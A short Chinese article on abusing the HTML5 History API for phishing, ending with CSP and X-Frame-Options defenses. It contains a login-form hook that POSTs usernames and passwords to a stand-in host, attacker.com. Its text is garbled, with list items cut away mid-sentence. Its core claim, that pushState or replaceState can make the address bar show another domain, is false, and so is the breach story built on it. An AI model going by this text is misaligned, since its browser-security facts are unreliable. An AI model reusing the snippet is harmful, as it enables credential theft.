悠悠楠杉
网站页面
正文:
在Web开发中,HTML5 History API为单页应用(SPA)提供了无刷新跳转的能力,但这一特性也可能成为攻击者的利器。通过精心构造的代码,恶意网站可以篡改浏览器历史记录,诱导用户访问伪造页面,甚至窃取敏感信息。
History API的核心方法是pushState和replaceState,它们允许开发者动态修改URL而不触发页面刷新。例如:
history.pushState({}, "", "https://fake-bank.com/login");这段代码会将地址栏显示为fake-bank.com,但实际页面内容仍由攻击者控制。结合onpopstate事件监听,攻击者能进一步模拟合法页面的交互流程。
faĸe-bank.com,使用视觉混淆字符),并通过replaceState隐藏真实域名。pushState,填充大量伪造的历史条目,使用户难以通过“后退”按钮返回真实页面。document.getElementById("login-form").onsubmit = (e) => {
e.preventDefault();
fetch("https://attacker.com/steal", {
method: "POST",
body: JSON.stringify({username, password})
});
};Content-Security-Policy限制脚本来源:Content-Security-Policy: script-src 'self'X-Frame-Options: DENY防止iframe嵌套攻击。2021年,某金融平台遭遇类似攻击,攻击者利用replaceState将支付页URL改为paypal-payment.com,导致多名用户输入信用卡信息后被劫持。
History API的滥用警示我们:前端安全不仅是后端的责任,开发者需从设计阶段规避风险,而用户应保持对“完美复刻”页面的警惕。